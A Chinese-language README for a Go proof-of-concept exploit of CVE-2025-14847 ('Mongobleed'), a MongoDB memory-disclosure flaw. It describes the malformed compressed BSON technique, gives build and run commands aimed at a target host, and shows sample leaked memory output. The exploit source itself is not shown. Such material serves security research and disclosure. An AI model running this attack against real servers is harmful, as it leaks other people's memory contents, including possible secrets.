本仓库包含针对 CVE-2025-14847 的 Go 概念验证漏洞利用程序,该漏洞是 MongoDB 的一个内存泄露漏洞,通常被称为 Mongobleed。
该 PoC 是 Joe Desimone 原始 Python 漏洞利用程序的 Go 重实现,可在此获取:
https://github.com/joe-desimone/mongobleed
该漏洞利用程序利用 zlib 解压和 BSON 解析缺陷,从存在漏洞的 MongoDB 服务器中泄露未初始化内存。
阅读博客文章 - https://saereya.github.io/posts/mongobleed-cve-2025-14847/
CVE-2025-14847 是由于 MongoDB 对压缩的 OP_MSG 消息处理不当所致。通过构造一个文档长度虚增的畸形 BSON 文档,并将其封装在 OP_COMPRESSED 消息中,服务器可能会读取超出解压缓冲区边界的数据。
这可能导致 MongoDB 将残留内存解释为 BSON 字段名称,并在错误消息中将这些名称回显出来。在不同偏移量上重复此过程,即可泄露服务器内存的片段。
该 PoC 能够:
OP_COMPRESSED MongoDB 线路协议消息中泄露的数据从如下错误字符串中提取:
field name '...'type <n>此漏洞影响官方补丁发布之前的特定 MongoDB 版本。
具体版本范围请参阅 MongoDB 安全公告。
构建:
go build -o mongobleed
运行:
./mongobleed --host <target> --port 27017
可选参数: --min-offset: BSON 文档起始长度 (默认值: 20) --max-offset: BSON 文档结束长度 (默认值: 8192)
[*] MongoBleed - CVE-2025-14847
[*] Targetting localhost:27017
[*] Offset: 20 -> 8192
[+] offset= 117 len= 51: ssions^\u0001f\bD\\��A6�;7\u0003��V%\u0019\u001a9ip
[+] offset= 119 len= 51: ssions^\u0001f\bD\\��A6�;7\u0003��V%\u0019\u001a9ip
[+] offset= 120 len= 51: ssions^\u0001f\bD\\��A6�;7\u0003��V%\u0019\u001a9ip
[+] offset= 121 len= 51: ssions^\u0001f\bD\\��A6�;7\u0003��V%\u0019\u001a9ip
此代码仅供教育和研究目的使用。
请勿针对您不拥有或未经明确授权测试的系统运行此工具。 未经授权的使用可能违法且违背道德。